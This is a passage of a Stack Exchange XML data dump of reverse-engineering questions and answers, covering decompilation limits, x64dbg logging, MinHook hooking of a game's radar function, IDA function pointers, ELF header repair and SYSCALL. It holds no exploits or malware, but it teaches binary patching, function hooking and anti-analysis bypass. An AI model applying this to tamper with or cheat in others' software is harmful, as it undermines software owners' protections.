&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Machine independence is a fairly simple concept. Basically it says that a programming language should not rely on the features of any particular instruction set for its efficient implementation.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Programming languages are examples of formal languages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cs.stackexchange.com/questions/30639/what-is-the-relationship-between-programming-languages-regular-expressions-and/30667#30667&quot;&gt;What is the Relationship Between Programming Languages, Regular Expressions and Formal Languages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.its.caltech.edu/~matilde/FormalLanguageTheory.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Formal Language Theory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Syntax_(programming_languages)#Levels_of_syntax&quot; rel=&quot;nofollow noreferrer&quot;&gt;Programming language syntax&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The translation of the series of statements written in a programming language in a program source file to semantically equivalent object code is accomplished by a compiler. Decompilation involves translation of architecture-dependent object code to a semantically equivalent representation (source code) that is not architecture specific, the reverse process of compilation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to decompile exe files with a rate of 100%? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This does not seem to be possible.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Certainly, fully automated decompilation of arbitrary machine-code programs is not possible -- this problem is theoretically equivalent to the Halting Problem, an undecidable problem in Computer Science. What this means is that automatic (no expert intervention) decompilation cannot be achieved for all possible programs that are ever written. Further, even if a certain degree of success is achieved, the automatically generated program will probably lack meaningful variable and function names as these are not normally stored in an executable file (except when stored for debugging purposes).&lt;sup&gt;&lt;a href=&quot;http://program-transformation.org/Transform/DecompilationPossible&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Further description of the challenges posed for decompilation can be found here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://yurichev.com/mirrors/DCC_decompilation_thesis.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Compilation Techniques&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://users.ece.cmu.edu/~dbrumley/pdf/Schwartz%20et%20al._2013_Native%20x86%20Decompilation%20using%20Semantics-Preserving%20Structural%20Analysis%20and%20Iterative%20Control-Flow%20Structuring.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Native x86 Decompilation using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://decompilation.info/sites/all/files/articles/C%20decompilation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;C Decompilation: Is It Possible?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In fact, correct disassembly (much less decompilation) is a major challenge:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2580/why-is-disassembly-not-an-exact-science/8677#8677&quot;&gt;Why is disassembly not an exact science&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://silviocesare.wordpress.com/2007/11/17/on-disassembling-obfuscated-assembly/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Disassembling Obfuscated Assembly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. Scott, Michael L. &lt;em&gt;Programming Language Pragmatics&lt;/em&gt;. 3rd ed. Page 111&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;2. &lt;a href=&quot;http://program-transformation.org/Transform/DecompilationPossible&quot; rel=&quot;nofollow noreferrer&quot;&gt;Is Decompilation Possible?&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-11-03T19:08:19.033" LastActivityDate="2017-11-03T19:08:19.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16696" PostTypeId="2" ParentId="16691" CreationDate="2017-11-02T23:32:46.410" Score="2" Body="&lt;p&gt;I have one solution after mucking around for a while, I'm sure I can find something better, in the meantime however here you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the 'Memory Map' Tab you can create a memory breakpoint on code sections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click on a section-&gt;Memory Breakpoint-&gt;Execute-&gt;Restore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can edit the breakpoint condition to be something like this&#xA;(I am using a 64 bit process)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YeemF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YeemF.png&quot; alt=&quot;Editing memory execute breakpoints to log EIP/RIP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just figured out how to reduce the range of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Log Condition like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;00007FF6D2F71000 &amp;lt; rip &amp;lt; 00007FF6D2F72000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is symbolically&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;start_address &amp;lt; eip &amp;lt; end_address&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;start_address &amp;lt; rip &amp;lt; end_address&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works pretty well. I'll update if I find any better alternatives&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/introduction/Expression-functions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://x64dbg.readthedocs.io/en/latest/introduction/Expression-functions.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/introduction/Expressions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://x64dbg.readthedocs.io/en/latest/introduction/Expressions.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read some of the docs for the cool stuff you can do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get it to log only call instructions, and print the address and instruction using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dis.iscall(rip)&lt;/code&gt; in Break Condition and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{rip}:{i:rip}&lt;/code&gt; in Log Expression&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for asking this question, this is actually really useful stuff I never thought of before.&lt;/p&gt;&#xA;" OwnerUserId="19064" LastEditorUserId="19064" LastEditDate="2017-11-03T00:03:21.817" LastActivityDate="2017-11-03T00:03:21.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16697" PostTypeId="1" CreationDate="2017-11-02T23:57:56.023" Score="2" ViewCount="489" Body="&lt;p&gt;I'm using MinHook to hook a static function with the following signature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float __usercall RadarManager::Add_Blip@&amp;lt;xmm0&amp;gt;(int position@&amp;lt;ecx&amp;gt;, int shape@&amp;lt;edx&amp;gt;, int colorId, float intensity@&amp;lt;xmm3&amp;gt;, bool isBracket, bool isSmall)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have confirmed that the register/stack usage is correct using IDA. I also have confirmed that I got the right address using Visual Studio to debug my code. It first goes to the trampoline generated by MinHook, executes the first few opcodes and then jumps to the original function skipping the bytes that were overwritten. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made my hook function completely empty, but the program still crashes on some other arbitrary address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hook function is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float __declspec(naked) radarAddBlip(const Vector3 &amp;amp;position, int shape, int colorId, float intensity, bool isBracket, bool isSmall)&#xA;{&#xA;    __asm&#xA;    {&#xA;        call originalRadarManager_Add_Blip;&#xA;&#xA;        ret;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prologue of function that is being hooked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text : 1181F4C0                 push    ebp&#xA;.text : 1181F4C1                 mov     ebp, esp&#xA;.text : 1181F4C3                 and     esp, 0FFFFFFF8h&#xA;.text : 1181F4C6                 sub     esp, 34h&#xA;.text : 1181F4C9                 movss   xmm2, dword ptr[ecx + 4]&#xA;.text : 1181F4CE                 movss   xmm1, dword ptr[ecx + 8]&#xA;.text : 1181F4D3                 movss   dword ptr[esp + 34h + var_20], xmm3&#xA;.text : 1181F4D9                 movss   xmm3, dword ptr[ecx]&#xA;.text : 1181F4DD                 movaps  xmm0, xmm2&#xA;.text : 1181F4E0                 mulss   xmm0, dword_11A6D7AC&#xA;.text : 1181F4E8                 mulss   xmm2, dword_11A6D7BC&#xA;.text : 1181F4F0                 movaps  xmm4, xmm3&#xA;.text : 1181F4F3                 mulss   xmm4, dword_11A6D7A8&#xA;.text : 1181F4FB                 mulss   xmm3, dword_11A6D7B8&#xA;.text : 1181F503                 addss   xmm4, xmm0&#xA;.text : 1181F507                 movaps  xmm0, xmm1&#xA;.text : 1181F50A                 mulss   xmm0, dword_11A6D7B0&#xA;.text : 1181F512                 mulss   xmm1, dword_11A6D7C0&#xA;.text : 1181F51A                 addss   xmm3, xmm2&#xA;.text : 1181F51E                 addss   xmm4, xmm0&#xA;.text : 1181F522                 push    ebx&#xA;.text : 1181F523                 push    esi&#xA;.text : 1181F524                 mov     esi, edx&#xA;.text : 1181F526                 addss   xmm3, xmm1&#xA;.text : 1181F52A                 addss   xmm4, dword_11A6D7B4&#xA;.text : 1181F532                 movss   xmm1, ds : dword_11A419F0&#xA;.text : 1181F53A                 push    edi&#xA;.text : 1181F53B                 mov[esp + 40h + var_14], esi&#xA;.text : 1181F53F                 addss   xmm3, dword_11A6D7C4&#xA;.text : 1181F547                 mulss   xmm4, xmm1&#xA;.text : 1181F54B                 mulss   xmm3, xmm1&#xA;.text : 1181F54F                 mulss   xmm1, ds : dword_11A3ED98&#xA;.text : 1181F557                 movaps  xmm0, xmm3&#xA;.text : 1181F55A                 mulss   xmm0, xmm3&#xA;.text : 1181F55E                 movaps  xmm2, xmm4&#xA;.text : 1181F561                 mulss   xmm2, xmm4&#xA;.text : 1181F565                 movss[esp + 40h + var_30], xmm4&#xA;.text : 1181F56B                 movss[esp + 40h + var_2C], xmm3&#xA;.text : 1181F571                 addss   xmm2, xmm0&#xA;.text : 1181F575                 movaps  xmm0, xmm1&#xA;.text : 1181F578                 mulss   xmm0, xmm1&#xA;.text : 1181F57C                 movss[esp + 40h + var_28], xmm1&#xA;.text : 1181F582                 addss   xmm2, xmm0&#xA;.text : 1181F586                 cvtps2pd xmm0, xmm2&#xA;.text : 1181F589                 movss[esp + 40h + var_24], xmm2&#xA;.text : 1181F58F                 call    _libm_sse2_sqrt_precise&#xA;.text : 1181F594                 movss   xmm1, ds : dword_11A41A30&#xA;.text : 1181F59C                 cvtsd2ss xmm0, xmm0&#xA;.text : 1181F5A0                 comiss  xmm0, ds : dword_11A41E10&#xA;.text : 1181F5A7                 jb      loc_1181F62E&#xA;.text : 1181F5AD                 cmp     esi, 4&#xA;.text : 1181F5B0                 jnz     short loc_1181F621&#xA;.text : 1181F5B2                 movss   xmm0, [esp + 34h + var_18]&#xA;.text : 1181F5B8                 addss   xmm0, ds : dword_11A41828&#xA;.text : 1181F5C0                 cvtps2pd xmm0, xmm0&#xA;.text : 1181F5C3                 call    _libm_sse2_sqrt_precise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Epilogue of function being hooked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text : 1181F7B7                 cmp[ebp + isBracket], 0&#xA;.text : 1181F7BB                 jz      short loc_1181F7F8&#xA;.text : 1181F7BD                 mov     esi, dword_11A5F400&#xA;.text : 1181F7C3                 push    0&#xA;.text : 1181F7C5                 push    dword ptr[esi + 0C4h]&#xA;.text : 1181F7CB                 mov     ecx, esi&#xA;.text : 1181F7CD                 call    sub_11822750&#xA;.text : 1181F7D2                 lea     eax, [esp + 34h + var_4]&#xA;.text : 1181F7D6                 push    eax&#xA;.text : 1181F7D7                 mov     ecx, esi&#xA;.text : 1181F7D9                 call    sub_11822330&#xA;.text : 1181F7DE                 push    offset dword_11A6D8B0&#xA;.text : 1181F7E3                 mov     ecx, esi&#xA;.text : 1181F7E5                 call    sub_11822B00&#xA;.text : 1181F7EA                 or edi, 0FF00h&#xA;.text : 1181F7F0                 push    edi&#xA;.text : 1181F7F1                 mov     ecx, esi&#xA;.text : 1181F7F3                 call    sub_11822660&#xA;.text : 1181F7F8&#xA;.text : 1181F7F8 loc_1181F7F8 : ; CODE XREF : RadarManager__Add_Blip + 2FBj&#xA;.text : 1181F7F8                 movss   xmm0, ds : dword_11A41A30&#xA;.text : 1181F800                 pop     edi&#xA;.text : 1181F801                 pop     esi&#xA;.text : 1181F802                 pop     ebx&#xA;.text : 1181F803                 mov     esp, ebp&#xA;.text : 1181F805                 pop     ebp&#xA;.text : 1181F806                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of original function being called (Left in some extra opcodes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text : 11820270                 mov     eax, [ecx + 4]&#xA;.text : 11820273                 mov     esi, [eax + edi * 4]&#xA;.text : 11820276                 cmp     byte ptr[esi + 24h], 0&#xA;.text : 1182027A                 jz      short loc_118202C8&#xA;.text : 1182027C                 cmp     dword ptr[esi + 8], 0&#xA;.text : 11820280                 jnz     short loc_118202C8&#xA;.text : 11820282                 mov     eax, [esi + 4]&#xA;.text : 11820285                 movss   xmm3, dword ptr[esi + 34h]; a4&#xA;.text : 1182028A                 push    0; a5&#xA;.text : 1182028C                 add     eax, 4&#xA;.text : 1182028F                 push    0; a5&#xA;.text : 11820291                 push    eax; a3&#xA;.text : 11820292                 lea     ecx, [esi + 28h]; a1&#xA;.text : 11820295                 mov     edx, 4; a2&#xA;.text : 1182029A                 call    RadarManager__Add_Blip&#xA;.text : 1182029F                 movaps  xmm1, xmm0&#xA;.text : 118202A2                 xorps   xmm0, xmm0&#xA;.text : 118202A5                 add     esp, 0Ch&#xA;.text : 118202A8                 comiss  xmm0, xmm1&#xA;.text : 118202AB                 ja      short loc_118202BA&#xA;.text : 118202AD                 movss   xmm0, ds : dword_11A41A30&#xA;.text : 118202B5                 comiss  xmm1, xmm0&#xA;.text : 118202B8                 jbe     short loc_118202BD&#xA;.text : 118202BA&#xA;.text : 118202BA loc_118202BA : ; CODE XREF : RadarManager__Update + A8Bj&#xA;.text : 118202BA                 movaps  xmm1, xmm0&#xA;.text : 118202BD&#xA;.text : 118202BD loc_118202BD : ; CODE XREF : RadarManager__Update + A98j&#xA;.text : 118202BD                 mov     ecx, dword_11A679C4&#xA;.text : 118202C3                 movss   dword ptr[esi + 34h], xmm1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Opcodes that are copied to the trampoline (before the jmp)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text : 1181F4C0                 push    ebp&#xA;.text : 1181F4C1                 mov     ebp, esp&#xA;.text : 1181F4C3                 and     esp, 0FFFFFFF8h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried changing calling conventions, to making it __declspec(naked) and directly calling it and even manually editing the registry, but to no avail. I'm at the end of my rope and I can't even get it to work when it doesn't even do anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize my question: How can I successfully call the original function through my hook function and doing something before calling the original? I'm not required to use MinHook, but so far it has been doing a good job.&lt;/p&gt;&#xA;" OwnerUserId="21487" LastActivityDate="2017-11-02T23:57:56.023" Title="Calling original function that uses unconventional calling convention" Tags="|windows|x86|c++|function-hooking|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16698" PostTypeId="1" CreationDate="2017-11-03T01:16:28.120" Score="2" ViewCount="131" Body="&lt;p&gt;Softwares use libraries (sdl, wxwidgets, gtk etc.) that handle events.&#xA;as keystroke and mouse.&#xA;I have a software that when clicking on a button, an annoying noise is reproduced&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do I find the address of that button and delete the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example somewhere in the software would be like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if mouse_down (left)&#xA;{&#xA;playsound (&quot;song&quot;)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want it to be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if mouse_down (left)&#xA;{&#xA;null&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I need to track and find the event and eliminate its effect.&#xA;crawl I mean that the application is constantly handling events like the mouse's position, if the mouse keys are being pressed, and between that is if the button is clicked to reproduce the noise.&#xA;In addition, the software is compiled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exist a  software to track events regardless of which libraries were used to programming the software?&lt;/p&gt;&#xA;" OwnerUserId="22141" LastActivityDate="2017-11-03T01:16:28.120" Title="How to track events of any software" Tags="|windows|assembly|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16699" PostTypeId="1" AcceptedAnswerId="16701" CreationDate="2017-11-03T02:05:12.963" Score="3" ViewCount="2804" Body="&lt;p&gt;I have recently been debugging a binary and at a point I started to decompile a function. One of the lines of the decompiled file is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v14 = (int (__cdecl *)(signed int))sub_8048FB6(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have been told it is a function pointer but I have no clue to what function it is pointing to. I will appreciate if someone breaks this absolutely vague string to me into pieces with elaboration.&lt;/p&gt;&#xA;" OwnerUserId="17667" LastEditorUserId="17667" LastEditDate="2017-11-05T19:36:32.850" LastActivityDate="2017-11-05T19:36:32.850" Title="IDA Pro's Super-Complicated Function Pointer Definition" Tags="|ida|pointer|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16700" PostTypeId="2" ParentId="16625" CreationDate="2017-11-03T03:51:22.347" Score="3" Body="&lt;p&gt;Two ways to label local variables in x64dbg:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In x64dbg, follow in dump at address of local var (like this [ebp-4]). Right click at this address and select Add label, then name the label.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RIRiH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RIRiH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the CPU window, local var is displayed like the following picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BhT7m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BhT7m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Try the labeless plugin : &lt;a href=&quot;https://github.com/a1ext/labeless/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/a1ext/labeless/&lt;/a&gt; to sync from IDA to x64dbg.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Regards;&lt;/p&gt;&#xA;" OwnerUserId="22144" LastActivityDate="2017-11-03T03:51:22.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16701" PostTypeId="2" ParentId="16699" CreationDate="2017-11-03T08:15:24.983" Score="9" Body="&lt;p&gt;The variable being assigned to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v14 = &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The type cast needed to convert the result of the subroutine to the type of &lt;code&gt;v14&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int (__cdecl *)(signed int))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The subroutine call, with one argument: &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_8048FB6(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The typecast is needed because hexrays did not figure out automatically what the return type of &lt;code&gt;sub_8048FB6&lt;/code&gt; is, so it probably defaulted to &lt;code&gt;int&lt;/code&gt;, instead of the function pointer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now the type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outer brackets denote a type cast:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int (__cdecl *)(signed int))&#xA;^                           ^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The calling convention &lt;code&gt;cdecl&lt;/code&gt; is cpu specific, commonly, a couple of arguments in registers, the rest on the stack, with the last argument pushed first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int (__cdecl *)(signed int))&#xA;      ^^^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is a function pointer, denoted by the bracketed  &lt;code&gt;(...*)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int (__cdecl *)(signed int))&#xA;     ^        ^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A function taking one argument, a signed integer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int (__cdecl *)(signed int))&#xA;                ^^^^^^^^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the function returning an integer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int (__cdecl *)(signed int))&#xA; ^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is the same as you would declare a function pointer in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef  int (*myfunctype)(signed int);&#xA;int afunction(signed int arg);&#xA;myfunctype  fp = afunction;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to know what function pointer it is that is returned, you will have to look inside &lt;code&gt;sub_8048FB6&lt;/code&gt;, to see where it gets it’s return value from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;sub_8048FB6&lt;/code&gt; may something look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int (__cdecl *)(signed int)) sub_8048FB6(int a1)&#xA;{&#xA;     switch(a1) {&#xA;        case 1:&#xA;            return sub_80123456;&#xA;        case 2:&#xA;            return sub_80456789;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And elsewhere, the returned functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_80123456(signed int)&#xA;{&#xA;   …&#xA;}&#xA;&#xA;int sub_80456789(signed int)&#xA;{&#xA;   …&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2017-11-03T21:36:28.777" LastActivityDate="2017-11-03T21:36:28.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16702" PostTypeId="1" AcceptedAnswerId="16704" CreationDate="2017-11-03T16:02:13.317" Score="9" ViewCount="16924" Body="&lt;p&gt;The &lt;strong&gt;SYSCALL&lt;/strong&gt; instruction is said to be the 64-bit version of &lt;strong&gt;INT 0X80&lt;/strong&gt;, however it's still possible to use the latter in 64-bit code (although &lt;a href=&quot;https://linux.die.net/man/1/strace&quot; rel=&quot;noreferrer&quot;&gt;strace&lt;/a&gt; decodes it wrong because of the 64-bit ABI I guess) which usually goes through a &lt;a href=&quot;https://github.com/torvalds/linux/blob/e7d0c41ecc2e372a81741a30894f556afec24315/arch/x86/entry/entry_64_compat.S#L267&quot; rel=&quot;noreferrer&quot;&gt;&quot;legacy entry&quot;&lt;/a&gt;. But there's something I don't quite understand, why is the &lt;em&gt;SYSCALL&lt;/em&gt; instruction faster? &lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2017-11-03T18:50:08.063" Title="Difference between INT 0X80 and SYSCALL" Tags="|x86|system-call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16703" PostTypeId="2" ParentId="16649" CreationDate="2017-11-03T16:26:48.540" Score="1" Body="&lt;p&gt;Found somewhat of a solution.&lt;br&gt;&#xA;After a lot googling I came to a conclusion that the ELF file was corrupted on purpose.&lt;br&gt; I've found that only 3 fields can be manipulated in order to make an ELF break a debugger and still be able to run -&gt; (e_shoff, e_shnum, e_shstrndx).&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Source: https://dustri.org/b/screwing-elf-header-for-fun-and-profit.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I downloaded ELF Parser from &lt;a href=&quot;http://www.elfparser.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.elfparser.com/&lt;/a&gt; and loaded the shared object file into it.&lt;br&gt;&#xA;Under SHeaders, made note of the smallest section offset and converted into hex, in my case the offset was 2056 or in hex 0x808. I went to the ELF header and made note of my SH Offset which was 703264 or in hex 0xABB20&lt;br&gt;&#xA;I opened the file in a hex editor and looked for 0x20 0xBB 0x0A 0x00 and replaced it with 0x08 0x08. That fixed the exports and imports for IDA and i was able to find JNI_onLoad.&lt;/p&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2017-11-03T16:26:48.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16704" PostTypeId="2" ParentId="16702" CreationDate="2017-11-03T18:50:08.063" Score="11" Body="&lt;p&gt;The short answer is that &lt;code&gt;syscall&lt;/code&gt; has less overhead than &lt;code&gt;int 0x80&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details on why this is the case, see the accepted answer to &lt;a href=&quot;https://stackoverflow.com/questions/15168822/intel-x86-vs-x64-system-call&quot;&gt;Intel x86 vs x64 system call&lt;/a&gt;, where a nearly identical question was asked: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm told that syscall is lighter and faster than generating a software interrupt. Why it is faster on x64 than x86, and can I make a system call on x64 using int 80h?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://lkml.org/lkml/2002/12/9/13&quot; rel=&quot;noreferrer&quot;&gt;Intel P6 vs P7 system call performance&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this email thread discusses the observed slowdown on certain Intel CPUs caused by the overhead associated with &lt;code&gt;int 0x80&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://articles.manugarg.com/systemcallinlinux2_6.html&quot; rel=&quot;noreferrer&quot;&gt;Sysenter Based System Call Mechanism in Linux 2.6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It was found out that this software interrupt method [int 0x80] was much slower on Pentium IV processors. To solve this issue, Linus 